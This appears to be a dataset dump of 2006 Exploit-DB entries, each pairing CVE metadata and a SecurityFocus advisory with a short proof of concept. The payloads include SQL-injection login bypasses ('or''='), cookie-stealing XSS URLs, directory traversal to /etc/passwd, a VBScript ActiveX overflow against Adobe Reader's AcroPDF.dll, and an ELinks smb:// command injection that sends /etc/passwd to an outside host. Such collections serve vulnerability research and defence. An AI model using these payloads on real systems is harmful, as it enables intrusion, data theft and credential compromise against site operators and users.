QLWD/code_shield huggingface dataset:
标题: Xtreme ASP Photo Gallery 2.0 - 'displaypic.asp?sortorder' SQL Injection EDB-ID: 29063 CVE: 2006-6937 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21138/info

Xtreme ASP Photo Gallery is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues and an HTML-injection issue because the application fails to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://target/path/displaypic.asp?category=23&sortorder=[SQL Injection] URL: https://www.exploit-db.com/exploits/29063
标题: cPanel 10 - DNSlook.HTML Cross-Site Scripting EDB-ID: 29071 CVE: 2004-1875 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/21142/info

Cpanel is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 10; other versions may also be vulnerable.

http://www.example.com/frontend/x/net/dnslook.html?dns=[XSS] URL: https://www.exploit-db.com/exploits/29071
标题: 20/20 Applications Data Shed 1.0 - 'f-email.asp?itemID' SQL Injection EDB-ID: 29077 CVE: 2006-6067 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/21156/info

20/20 DataShed is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.0 is vulnerable.

http://www.example.com/f-email.asp?strPeopleID=1&itemID='[sql] URL: https://www.exploit-db.com/exploits/29077
标题: Adobe Reader 7.0.x - Multiple Vulnerabilities EDB-ID: 29076 CVE: 2006-6027 类型: DOS 平台: WINDOWS 发布日期: 2006-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/21155/info

Adobe Acrobat is prone to multiple vulnerabilities. These errors have been confirmed to occur when Reader is invoked by Internet Explorer; other occurrences may exist.

Attackers can exploit these issues to cause denial-of-service conditions on a victim computer.

The vendor has confirmed that one of these issues may lead to arbitrary code execution.

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:CA8A9780-280D-11CF-A24D-444553540000' id='target' 
/>
<script language='vbscript'>

targetFile = "C:\Program Files\Adobe\Acrobat 7.0\ActiveX\AcroPDF.dll"
prototype  = "Function LoadFile ( ByVal fileName As String ) As Boolean"
memberName = "LoadFile"
progid     = "AcroPDFLib.AcroPDF"
argCount   = 1

arg1=String(6164, "A")

target.LoadFile arg1 

</script></job></package> URL: https://www.exploit-db.com/exploits/29076
标题: phpMyAdmin 2.x - Multiple Script Array Handling Full Path Disclosures EDB-ID: 29062 CVE: 2006-6943 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21137/info
    
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
    
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
    
All versions of phpMyAdmin are vulnerable.

http://www.example.com/scripts/check_lang.php 
http://www.example.com/themes/darkblue_orange/layout.inc.php 
http://www.example.com/index.php?lang[]= 
http://www.example.com/index.php?target[]= 
http://www.example.com/index.php?db[]= 
http://www.example.com/index.php?goto[]= 
http://www.example.com/left.php?server[]= 
http://www.example.com/index.php?table[]= 
http://www.example.com/server_databases.php?token=your_token&sort_by=" 
http://www.example.com/index.php?db=information_schema&token=your_token&tbl_group[]= http://www.example.com/db_printview.php?db=" 
http://www.example.com/sql.php?back[]= URL: https://www.exploit-db.com/exploits/29062
标题: Xtreme ASP Photo Gallery 2.0 - 'displaypic.asp?catname' Cross-Site Scripting EDB-ID: 29064 CVE: 2006-6936 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21138/info
 
Xtreme ASP Photo Gallery is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues and an HTML-injection issue because the application fails to properly sanitize user-supplied input. 
 
Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://target/path/displaypic.asp?category=23&sortorder=9&total=10&catname=[XSS] URL: https://www.exploit-db.com/exploits/29064
标题: PHP Upload Tool 1.0 - Arbitrary File Upload / Directory Traversal EDB-ID: 29072 CVE: 2006-7133 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/21150/info

PHP Upload Tool is prone to an arbitrary file-upload vulnerability and a directory-traversal vulnerability. These issues occur because the application fails to sanitize user-supplied data.

An attacker could exploit these issues to execute code in the context of the webserver or to download sensitive information that could aid in further attacks.

Version 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/upload/bin/download.php?filename=../conf/users.conf
http://www.example.com/upload/bin/download.php?filename=/etc/passwd URL: https://www.exploit-db.com/exploits/29072
标题: phpMyAdmin 2.x - 'sql.php?pos' Cross-Site Scripting EDB-ID: 29061 CVE: 2006-6942 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21137/info
   
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
   
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
   
All versions of phpMyAdmin are vulnerable.

http://www.example.com/phpmyadmin/sql.php?db=information_schema&token=your_token&goto=db_details_structure.php&table=CHARACTER_SETS&pos=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29061
标题: Image Gallery with Access Database - 'dispimage.asp?id' SQL Injection EDB-ID: 29053 CVE: 2006-6932 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21131/info

Image gallery with Access Database is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path/dispimage.asp?id=[SQL Injection] URL: https://www.exploit-db.com/exploits/29053
标题: Image Gallery with Access Database - 'default.asp' Multiple SQL Injections EDB-ID: 29054 CVE: 2006-6932 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21131/info
 
Image gallery with Access Database is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/path/default.asp?page=2&order=[SQL Injection]
http:/www.example.com/target/path/default.asp?page=[SQL INJECTION]&order=id URL: https://www.exploit-db.com/exploits/29054
标题: phpMyAdmin 2.x - 'db_operations.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29059 CVE: 2006-6942 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21137/info
 
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
 
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
 
All versions of phpMyAdmin are vulnerable.
 
http://www.example.com/phpmyadmin/db_operations.php?db_collation=latin1_swedish_ci&db_copy=true&db=prout&token=your_token&newname=[xss] URL: https://www.exploit-db.com/exploits/29059
标题: Selenium Web Server 1.0 - Cross-Site Scripting EDB-ID: 29045 CVE: 2006-6124 类型: REMOTE 平台: WINDOWS 发布日期: 2006-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21100/info

Biba Selenium Web Server is prone to a cross-site scripting because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may lead to other attacks.

http://www.example.com/%3Cscript%3Ealert('CSS_Vulnerable')%3C/script%3E URL: https://www.exploit-db.com/exploits/29045
标题: Odysseus Blog 1.0 - 'blog.php' Cross-Site Scripting EDB-ID: 29050 CVE: 2006-6951 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21128/info

Odysseus Blog is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and launch other attacks.

Version 1.0.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/blog.php?page="><script>alert('Xmors')</script>< URL: https://www.exploit-db.com/exploits/29050
标题: i-Gallery 3.4 - 'igallery.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29048 CVE: 2006-6088 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21122/info

The i-gallery application is prone to multiple-input validation vulnerabilities, including multiple cross-site scripting vulnerabilities and an HTML-injection issue, because the software fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue affects i-gallery 3.4 and prior versions.

http://target/path/igallery.asp?n=[XSS]
http://target/path/igallery.asp&d=[XSS] URL: https://www.exploit-db.com/exploits/29048
标题: phpMyAdmin 2.x - 'querywindow.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29060 CVE: 2006-6942 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21137/info
  
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
  
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
  
All versions of phpMyAdmin are vulnerable.

http://www.example.com/phpmyadmin/querywindow.php token=your_token&db=&table=&query_history_latest=[xss]&query_history_latest_db=[xss]&querydisplay_tab=[xss] URL: https://www.exploit-db.com/exploits/29060
标题: Dragon Internet Events Listing 2.0.01 - 'admin_login.asp' Multiple Field SQL Injections EDB-ID: 29044 CVE: 2006-6066 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21098/info
  
Dragon Event Listing is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database implementation, and gain unauthorized access to the affected application.
  
username: 'or''='
passwd: 'or''=' URL: https://www.exploit-db.com/exploits/29044
标题: Dragon Internet Events Listing 2.0.01 - 'venue_detail.asp?VenueID' SQL Injection EDB-ID: 29042 CVE: 2006-6066 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21098/info

Dragon Event Listing is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database implementation, and gain unauthorized access to the affected application.

http://www.example.com/venue_detail.asp?VenueID='[sql] URL: https://www.exploit-db.com/exploits/29042
标题: phpMyAdmin 2.x - 'db_create.php?db' Cross-Site Scripting EDB-ID: 29058 CVE: 2006-6942 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21137/info

phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.

An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.

All versions of phpMyAdmin are vulnerable.

http://www.example.com/phpmyadmin/db_create.php?token=your_token&reload=1&db=[double xss(2 followed xss)] URL: https://www.exploit-db.com/exploits/29058
标题: BlogTorrent Preview 0.92 - 'Announce.php' Cross-Site Scripting EDB-ID: 29049 CVE: 2006-6020 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21125/info

BlogTorrent Preview is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks

BlogTorrent Preview 0.92 and prior versions are vulnerable to this issue.

http://www.example.com/announce.php?left=[xss] URL: https://www.exploit-db.com/exploits/29049
标题: Dragon Internet Events Listing 2.0.01 - 'event_searchdetail.asp?ID' SQL Injection EDB-ID: 29043 CVE: 2006-6066 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21098/info
 
Dragon Event Listing is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database implementation, and gain unauthorized access to the affected application.
 
http://www.example.com/event_searchdetail.asp?ID='[sql] URL: https://www.exploit-db.com/exploits/29043
标题: Hot Links - Perl PHP Information Disclosure EDB-ID: 29047 CVE: 2006-7086 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21112/info

Hot Links is prone to an information-disclosure vulnerability because it fails to authenticate the user during specific download requests.

An attacker can exploit this issue to retrieve administrative backup files. Information obtained may aid in further attacks.

All versions of Hot Links SQL-PHP and Hot Links Pro are vulnerable; other forks may also be affected.

http://www.example.com/[path]/dlback.php?dl=fullback URL: https://www.exploit-db.com/exploits/29047
标题: MGinternet Property Site Manager - 'admin_login.asp' Multiple SQL Injections EDB-ID: 29031 CVE: 2006-6709 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21073/info
   
MGinternet Property Site Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
   
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
login using user: 'or''=' passwd: 'or''=' URL: https://www.exploit-db.com/exploits/29031
标题: CandyPress Store 3.5.2 14 - 'openPolicy.asp?policy' SQL Injection EDB-ID: 29037 CVE: 2006-6109 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21090/info

CandyPress Store is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.5.2.14 is vulnerable; other versions may also be affected.

http://www.example.com/sa3.5.2.14/scripts/openPolicy.asp?policy='[sql] URL: https://www.exploit-db.com/exploits/29037
标题: MGinternet Property Site Manager - 'detail.asp?p' SQL Injection EDB-ID: 29029 CVE: 2006-6709 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21073/info
 
MGinternet Property Site Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/asp/detail.asp?l=&p='[sql] URL: https://www.exploit-db.com/exploits/29029
标题: CandyPress Store 3.5.2 14 - 'prodList.asp?brand' SQL Injection EDB-ID: 29038 CVE: 2006-6109 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21090/info

CandyPress Store is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.5.2.14 is vulnerable; other versions may also be affected.

http://www.example.com/sa3.5.2.14/scripts/prodList.asp?brand='[sql] URL: https://www.exploit-db.com/exploits/29038
标题: MGinternet Property Site Manager - 'listings.asp?s' Cross-Site Scripting EDB-ID: 29028 CVE: 2006-6708 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21073/info

MGinternet Property Site Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.

An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/asp/listings.asp?s=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29028
标题: MGinternet Property Site Manager - 'listings.asp' Multiple SQL Injections EDB-ID: 29030 CVE: 2006-6709 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21073/info
  
MGinternet Property Site Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
  
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/asp/listings.asp?l='[sql] 
http://www.example.com/asp/listings.asp?s=search&typ='[sql] 
http://www.example.com/asp/listings.asp?s=search&typ=4&loc='[sql] URL: https://www.exploit-db.com/exploits/29030
标题: Links, ELinks 'smbclient' - Remote Command Execution EDB-ID: 29033 CVE: 2006-5925 类型: REMOTE 平台: LINUX 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21082/info

Links and ELinks are prone to a remote command-execution vulnerability because the applications fail to properly process website data containing 'smb' commands.

An attacker can exploit this issue to execute arbitrary 'smb' commands on a victim computer. This may help the attacker compromise the application and the underlying system; other attacks are also possible.

Links 1.00pre12 and ELinks 0.11.1 are vulnerable; other versions may also be affected.

NOTE: This vulnerability may be exploited only if 'smbclient' is installed on a target computer.

<html> <a href='smb://www.example.com/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a> <a href='smb://www.example.com/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a> </html> URL: https://www.exploit-db.com/exploits/29033
标题: Mega Mall - 'order-track.php?orderNo' SQL Injection EDB-ID: 29027 CVE: 2006-7170 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21072/info
 
Megamail is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://example.com/mega-mall/order-track.php?Enter=1&orderNo=[sql] URL: https://www.exploit-db.com/exploits/29027